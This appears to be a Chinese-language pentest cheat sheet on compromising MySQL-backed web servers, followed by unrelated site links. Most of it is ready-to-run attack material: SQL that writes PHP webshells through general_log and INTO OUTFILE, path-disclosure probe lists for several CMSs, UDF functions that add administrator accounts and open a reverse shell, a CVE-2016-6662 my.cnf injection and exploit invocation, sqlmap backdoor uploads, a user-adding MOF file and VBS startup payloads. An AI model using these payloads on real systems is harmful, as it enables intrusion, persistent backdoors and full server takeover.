部分来源于:先知社区

MYSQL-getshell篇

通过日志getshell

  1. 查看日志的物理路径(绝对路径)

    show variables like '%general%';
  2. 打开日志记录内容

    set global general_log = on;
  3. 重新设置日志路径(绝对路径)

    set global general_log_file = '日志绝对路径';
  4. 写入webshell

    通过SQL的查询语句,查询的语句会被记录在日志中,以此达到将php的webshell写入到日志文件中

    select '<?php eval($_POST[request]);?>'
  5. 事后还原

    最好恢复为原本状态,不然一直记录会将含有webshell的日志文件变得越来越大,影响正常使用

    set global general_log_file = '原本日志文件路径';
    set global general_log = off;

通过outfile语句getshell

  1. 直接通过outfile获取webshell

    select '<?php @eval($_POST[request];?>' into outfile '木马在目标机器的绝对路径';
    select unhex('十六进制字符串') into dumpfile '木马在目标机器的绝对路径';
    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php';
  2. 通过建立临时表生成webshell

    CREATE TABLE `mysql`.`demo`(`temp` TEXT NOT NULL);
    INSERT INTO `mysql`.`demo` (`temp`) VALUES('<?php @eval($_POST[request]);?>');
    SELECT `temp` FROM `demo` INTO OUTFILE '木马在目标机器的绝对路径';
    DROP TABLE IF EXIST `demo`;

CVE-2016-6662

本身既能提权也能直接getshell,详见MYSQL-提权篇

php爆路径方式(主要用于拓宽思路)

  1. 单引号爆路径

    说明:
    
    直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
    
    www.xxx.com/news.php?id=149′
  2. 错误参数值爆路径

    说明:
    
    将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
    
    www.xxx.com/researcharchive.php?id=-1
  3. Google爆路径

    说明:
    
    结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
    
    Site:xxx.edu.tw warning
    
    Site:xxx.com.tw “fatal error”
  4. 测试文件爆路径

    说明:
    
    很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
    
    www.xxx.com/test.php
    
    www.xxx.com/ceshi.php
    
    www.xxx.com/info.php
    
    www.xxx.com/phpinfo.php
    
    www.xxx.com/php_info.php
    
    www.xxx.com/1.php
  5. phpmyadmin爆路径

    说明:
    
    一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。
    
    1. /phpmyadmin/libraries/lect_lang.lib.php
    
    2./phpMyAdmin/index.php?lang[]=1
    
    3. /phpMyAdmin/phpinfo.php
    
    4. load_file()
    
    5./phpmyadmin/themes/darkblue_orange/layout.inc.php
    
    6./phpmyadmin/libraries/select_lang.lib.php
    
    7./phpmyadmin/libraries/lect_lang.lib.php
    
    8./phpmyadmin/libraries/mcrypt.lib.php
  6. 配置文件找路径

    说明:
    
    如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
    
    Windows:
    
    c:\windows\php.ini                                    php配置文件
    
    c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
    
    Linux:
    
    /etc/php.ini                                           php配置文件
    
    /etc/httpd/conf.d/php.conf
    
    /etc/httpd/conf/httpd.conf                             Apache配置文件
    
    /usr/local/apache/conf/httpd.conf
    
    /usr/local/apache2/conf/httpd.conf
    
    /usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
  7. nginx文件类型错误解析爆路径

    说明:
    
    这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
    
    www.xxx.com/top.jpg/x.php
  8. 其他

    • dedecms

      /member/templets/menulit.php
      
      plus/paycenter/alipay/return_url.php
      
      plus/paycenter/cbpayment/autoreceive.php
      
      paycenter/nps/config_pay_nps.php
      
      plus/task/dede-maketimehtml.php
      
      plus/task/dede-optimize-table.php
      
      plus/task/dede-upcache.php
    • WP

      wp-admin/includes/file.php
      
      wp-content/themes/baiaogu-seo/footer.php
    • ecshop商城系统暴路径漏洞文件

      /api/cron.php
      
      /wap/goods.php
      
      /temp/compiled/ur_here.lbi.php
      
      /temp/compiled/pages.lbi.php
      
      /temp/compiled/user_transaction.dwt.php
      
      /temp/compiled/history.lbi.php
      
      /temp/compiled/page_footer.lbi.php
      
      /temp/compiled/goods.dwt.php
      
      /temp/compiled/user_clips.dwt.php
      
      /temp/compiled/goods_article.lbi.php
      
      /temp/compiled/comments_list.lbi.php
      
      /temp/compiled/recommend_promotion.lbi.php
      
      /temp/compiled/search.dwt.php
      
      /temp/compiled/category_tree.lbi.php
      
      /temp/compiled/user_passport.dwt.php
      
      /temp/compiled/promotion_info.lbi.php
      
      /temp/compiled/user_menu.lbi.php
      
      /temp/compiled/message.dwt.php
      
      /temp/compiled/admin/pagefooter.htm.php
      
      /temp/compiled/admin/page.htm.php
      
      /temp/compiled/admin/start.htm.php
      
      /temp/compiled/admin/goods_search.htm.php
      
      /temp/compiled/admin/index.htm.php
      
      /temp/compiled/admin/order_list.htm.php
      
      /temp/compiled/admin/menu.htm.php
      
      /temp/compiled/admin/login.htm.php
      
      /temp/compiled/admin/message.htm.php
      
      /temp/compiled/admin/goods_list.htm.php
      
      /temp/compiled/admin/pageheader.htm.php
      
      /temp/compiled/admin/top.htm.php
      
      /temp/compiled/top10.lbi.php
      
      /temp/compiled/member_info.lbi.php
      
      /temp/compiled/bought_goods.lbi.php
      
      /temp/compiled/goods_related.lbi.php
      
      /temp/compiled/page_header.lbi.php
      
      /temp/compiled/goods_script.html.php
      
      /temp/compiled/index.dwt.php
      
      /temp/compiled/goods_fittings.lbi.php
      
      /temp/compiled/myship.dwt.php
      
      /temp/compiled/brands.lbi.php
      
      /temp/compiled/help.lbi.php
      
      /temp/compiled/goods_gallery.lbi.php
      
      /temp/compiled/comments.lbi.php
      
      /temp/compiled/myship.lbi.php
      
      /includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
      
      /includes/modules/cron/auto_manage.php
      
      /includes/modules/cron/ipdel.php
    • ucenter爆路径

      ucenter\control\admin\db.php
    • DZbbs

      manyou/admincp.php?my_suffix=%0A%0DTOBY57
    • z-blog

      admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
    • php168爆路径

      admin/inc/hack/count.php?job=list
      
      admin/inc/hack/search.php?job=getcode
      
      admin/inc/ajax/bencandy.php?job=do
      
      cache/MysqlTime.txt
    • PHPcms2008-sp4

      注册用户登陆后访问
      
      phpcms/corpandresize/process.php?pic=../images/logo.gif
    • bo-blog

      /go.php/<[evil code]
    • CMSeasy爆网站路径漏洞

      漏洞出现在menu_top.php这个文件中
      
      lib/mods/celive/menu_top.php
      
      /lib/default/ballot_act.php
      
      lib/default/special_act.php

MYSQL-提权篇

UDF提权

  1. 提权原理

    特性一:不管是windows还是linux,都会存在一个称之为动态链接库(相当于数个函数的封装)的文件,在windows下通常表现为dll文件,而在linux下通常表现为so文件,程序运行时会调用动态链接库中的函数,以此实现复杂功能。

    特性二:在程序运行或加载时,有操作系统加载动态链接库,因此动态链接库真正的调用者其实是操作系统,所以动态链接库的执行权限是系统最高权限

    利用上述两个特性,只需将包含恶意函数的动态链接库文件加载到MYSQL中,然后通过MYSQL进行函数调用,即可实现任意代码的执行

  2. 提权条件

    • MYSQL版本大于5.1:动态链接库必须放置在MYSQL安装目录下的lib\plugin目录下
    • MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于C:\windows\system32;在windows200下DLL文件放置于C:\winnt\system32
    • MYSQL版本小于5.0:动态链接库可任意放置
    • MYSQL数据库用户具有创建和删除函数的权限
    • 有写入指定目录的权限
    • secure_file_priv为空,表示MYSQL对文件的导入导出无任何限制
  3. 提权思路

    • 查看plugin目录

      加载失败可先尝试删除原有的扩展名:delete from mysql.func where name='函数名';

      show variables like '%plugin%';
      select @@plugin_dir;
    • 写入动态链接库

      MYSQL大于5.1情况下,可能默认不存在plugin目录,因此可利用NTFS ADS流创建plugin目录

      先查找MYSQL目录:

      select @@basedir;

      再创建lib目录:

      select 'It is dll' into dumpfile 'MYSQL目录\\lib::$INDEX_ALLOCATION';

      最后创建plugin目录:

      select 'It is dll' into dumpfile 'MYSQL目录\\lib\\plugin::$INDEX_ALLOCATION';

      • 通过webshell直接上传文件至指定目录
      • 使用udf.php工具写入dll文件
      • lib_mysqludf_sys==>select hex(load_file("so文件路径")) into outfile "目的txt文件路径"写入so文件
      • 利用lib_mysqludf_sys==>select unhex("16进制字符串") into dumpfile("plugin目录路径");写入so文件
    • 创建自定义函数,执行系统命令

      # 根据udf.dll创建自定义函数cmdshell
      create function cmdshell returns string soname 'udf.dll';
      # 执行cmd命令(创建新用户)
      select cmdshell('net user waitalone waitalone.cn /add');
      select cmdshell('net localgroup administrators waitalone /add');
      # 删除自定义函数
      drop function cmdshell;
      delete from mysql.func where name='cmdshell'; ## 反弹shell
      create function backshell returns string soname 'udf.dll';
      select backshell("remote_ip",remote_port);
      create function sys_eval returns soname "mysqludf.so";
      select sys_eval("whoami");

CVE-2016-6662

MYSQL 0Day漏洞:攻击者在仅拥有SELECT/FILE的权限下,利用此漏洞实现ROOT提权,执行任意代码,进而控制服务器

  1. 利用原理

    MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。mysqld_safe脚本中存在一个参数malloc-lib,该参数会引导MYSQL服务加载时,预加载一个库文件,该参数同样可以在MYSQL默认配置文件my.cnf中指定,如:[mysqld]或者[mysqld_safe]。该漏洞的本质是攻击者通过log函数利用不恰当的权限改写MYSQL的配置文件my.cnf,将恶意的文件路径插入到配置文件my.cnf中,从而加载恶意库文件,当mysql服务重启时,就能以root权限执行任意代码

  2. 利用条件

    • 攻击者必须拥有MYSQL的SQL-SHELL,以实现my.cnf的附写
    • 攻击者必须能促使MYSQL服务重启
  3. 利用细节

    • 通过SQL注入等手段获取SQL-SHELL

    • 通过文件上传或DUMPFILE命令将恶意malloc_lib共享文件上传到目标服务器

      select unhex("so文件对应的十六进制字符串") into dumpfile "目标so文件路径"
    • 覆写MYSQL配置文件my.cnf

      set global general_log_file='/var/lib/mysql/my.cnf';
      set global general_log = on;
      select '
      '>
      '> ; injected config entry
      '>
      '> [mysqld]
      '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
      '>
      '> [separator]
      '>
      '> ';
      set global general_log = off;

      以此通过log函数在my.cnf后

    • 执行任意命令

      ## 执行系统命令
      # 根据udf.dll创建自定义函数cmdshell
      create function cmdshell returns string soname 'udf.dll';
      # 执行cmd命令(创建新用户)
      select cmdshell('net user waitalone waitalone.cn /add');
      select cmdshell('net localgroup administrators waitalone /add');
      # 删除自定义函数
      drop function cmdshell;
      delete from mysql.func where name='cmdshell'; ## 反弹shell
      create function backshell returns string soname 'udf.dll';
      select backshell("remote_ip",remote_port);
    • 重启MYSQL服务,触发恶意库文件执行

  4. EXP复现

    CVE-2016-6662-exp

    • 修改一下mysql_hookandroot_lib.c的ip,port和my.cnf的位置:

      #define ATTACKERS_IP "192.168.0.1"
      #define SHELL_PORT 6033
      #define INJECTED_CONF "/usr/local/mysql/my.cnf"
    • 修改一下0ldSQL_MySQL_RCE_exploit.py的port和my.cnf的位置,然后执行

      python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.1 -dbname pocdb -mycnf /usr/local/mysql/my.cnf

    最后重启MYSQL服务,再次连接MYSQL,whoami发现成功提权

sqlmap提权

本质上sqlmap提权其实就是UDF提权,但某些情况下,无法获取MYSQL数据库的用户名密码,如:SQL注入,这时SQLMAP会帮上忙

# 前提条件:存在SQL注入,且MYSQL用户对应的密码复杂度较高,无法获取其明文密码,或者MYSQL无法远程连接
# 上传提权所需的文件,可指定文件存放位置
python sqlmap.py -u "http://ip:port/path" --file-write=本地文件路径 --file-dest=目标文件路径
# 激活sys_exec函数,用于执行系统命令(这一步骤与UDF步骤完全一致)
python sqlmap.py -u "http://ip:port/path" --sql-shell
# 上传后门
python sqlmap.py -u "http://ip:port/path" --file-write=本地木马文件路径 --file-dest=目标文件路径

MOF提权

MOF文件是MYSQL数据库的扩展文件(c:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒该文件就会去监控进程的创建和死亡

  1. 提权原理

    MOF文件每隔5秒就会执行,且执行命令时的权限为系统权限,如果通过MYSQL将MOF文件替换,那么系统就会每隔5秒执行MOF文件,MOF文件中存在一段VBS脚本,因此控制VBS脚本内容变成让系统执行命令,进而提权

  2. 利用条件

    • Windows <= 2003
    • MYSQL对c:/windows/system32/wbem/mof目录有写入权限
    • 已知MYSQL数据的账号密码
  3. 利用方式

    • test.mof (此处借助wscrript.shell执行系统命令)

      #pragma namespace("\\\\.\\root\\subscription")
      instance of __EventFilter as $EventFilter
      {
      EventNamespace = "Root\\Cimv2";
      Name = "filtP2";
      Query = "Select * From __InstanceModificationEvent "
      "Where TargetInstance Isa \"Win32_LocalTime\" "
      "And TargetInstance.Second = 5";
      QueryLanguage = "WQL";
      };
      instance of ActiveScriptEventConsumer as $Consumer
      {
      Name = "consPCSV2";
      ScriptingEngine = "JScript";
      ScriptText =
      "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")";
      };
      instance of __FilterToConsumerBinding
      {
      Consumer = $Consumer;
      Filter = $EventFilter;
      };
    • 通过webshell等方式将MOF文件上传至任意目录

    • 通过outfile将MOF文件写入到执行目录下

      select load_file("当前MOF文件路径") into dumpfile "指定MOF文件路径";

VBS提权

利用MYSQL数据库创建启动项

# 创建临时表a,cmd为字段
create table a (cmd text);
# 通过MYSQL获取系统高权限(后续补充,0表示不弹出窗口)
insert into a values ("set wshshell=createobject('wscript.shell')");
insert into a values ("a=wshshell.run('cmd.exe /c net user user1 password1 /add',0)");
insert into a values ("b=wshshell.run('cmd.exe /c net localgroup administrators user1 /add',0)");
# 写入到启动项中
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

利用MYSQL数据库创建启动项,直接写16进制木马(dumpfile与outfile有所区别)

create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\payload.exe'
drop table a;

CVE-2016-6663:条件竞争漏洞提权

CVE-2016-6664:权限提升漏洞

MYSQL-命令篇(持续更新)

# 如果是本地MYSQL,可直接执行系统命令
system command
# 查看plugin目录
select @@plugin_dir;
show variables like "%plugin%";
# 查看log相关环境变量
show variables like "%general_log_file%";
show variables like "%general_log%";
# 将十六进制转成字符串再写入文件
select unhex("十六进制字符串") into dumpfile '文件路径';
# 将字符串写入文件
select "字符串" into outfile '文件路径';
两者的区别在于outfile将数据写入文件时会对文件内容进行格式转换,比如转义字符,而dumpfile会保存原数据格式;outfile会在每行数据后自动换行,而dumpfile只能导出一行数据
# 查看文件导入导出限制
select @@secure_file_priv;
# 当输出值为空时,表示无任何限制;当输出值为一个指定目录时,表示只能向指定目录导入导出文件;当输出值为NULL时,表示禁止文件的导入导出
# 查看文件内容,返回字符串
select load_file('文件路径');

MYSQL渗透测试的更多相关文章

  1. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  2. 渗透测试环境搭建以及使用sqlmap获取mysql用户数据库密码

    通过sqlmap检测sql注入漏洞 安装SQLmap漏洞查看工具 安装渗透测试演练系统DVWA 使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码 环境介绍 安装SQLmap:Rich ...

  3. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  4. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  5. 反向代理在Web渗透测试中的运用

    在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...

  6. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

  7. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  8. Kali Linux Web 渗透测试视频教程— 第四课 google hack 实战

    Kali Linux Web 渗透测试— 第四课 google hack 实战 文/玄魂 目录 shellKali Linux Web 渗透测试— 第四课 google hack 实战 课程目录 Go ...

  9. [TOP10]十大渗透测试演练系统

    本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识. DVWA (Dam ...

随机推荐

  1. sql 操作表常用语句,语法

    新增列:alter table 表名 add 新列名 数据类型 删除列:alter table 表名 drop column 列名 删除约束:alter table 表名 drop constrain ...

  2. Prometheus入门教程(三):Grafana 图表配置快速入门

    文章首发于[陈树义]公众号,点击跳转到原文:https://mp.weixin.qq.com/s/sA0nYevO8yz6QLRz03qJSw 前面我们使用 Prometheus + Grafana ...

  3. collection v1.3.1升级全记录

    collection v1.3.1升级全记录 项目地址: https://github.com/jianfengye/collection 欢迎star. collection 手册地址: http: ...

  4. python如何连接数据库操作?

    1.首先导入模块(提前pip安装)  import pymysql ; 2.打开数据库连接   db = pymysql.connect("localhost", "us ...

  5. Luogu P3602 Koishi Loves Segments

    传送门 题解 既然是选取区间,没说顺序 肯定先排遍序 都是套路 那么按什么排序呢??? 为了方便处理 我们把区间按左端点从小到大排序 把关键点也按从小到大排序 假设当扫到 \(i\) 点时,i 点之前 ...

  6. CodeForces 1344D Résumé Review

    题意 给定一个长度为 \(n\) 的序列 \(a\) 和一个整数 \(k\),构造一个序列 \(b\) 使得满足以下条件: \(0\leq b_i\leq a_i\) \(\sum\limits_{i ...

  7. LoRa技术的特点和组成系统分析

    目前,基于LoRa技术的网络层协议主要是LoRaWAN,也有少量的非LoRaWAN协议,但是通信系统网络都是星状网架构,以及在此基础上的简化和改进.主要包括以下3种. (1)点对点通信. 一点对一点通 ...

  8. django配置跨域并开发测试接口

    1.创建一个测试项目 1.1 创建项目和APP django-admin startproject BookManage # 创建项目 python manage.py startapp books ...

  9. 1.DRF初始化

    1.DRF框架的8个核心功能   1.认证(用户登录校验用户名密码或者token是否合法) 2.权限(根据不同的用户角色,可以操作不同的表) 3.限流(限制接口访问速度) 4.序列化(返回json) ...

  10. 20200725_java爬虫_项目创建及log4j配置

    0. 摘要 0.1 添加log4j依赖 <dependency> <groupId>org.slf4j</groupId> <artifactId>sl ...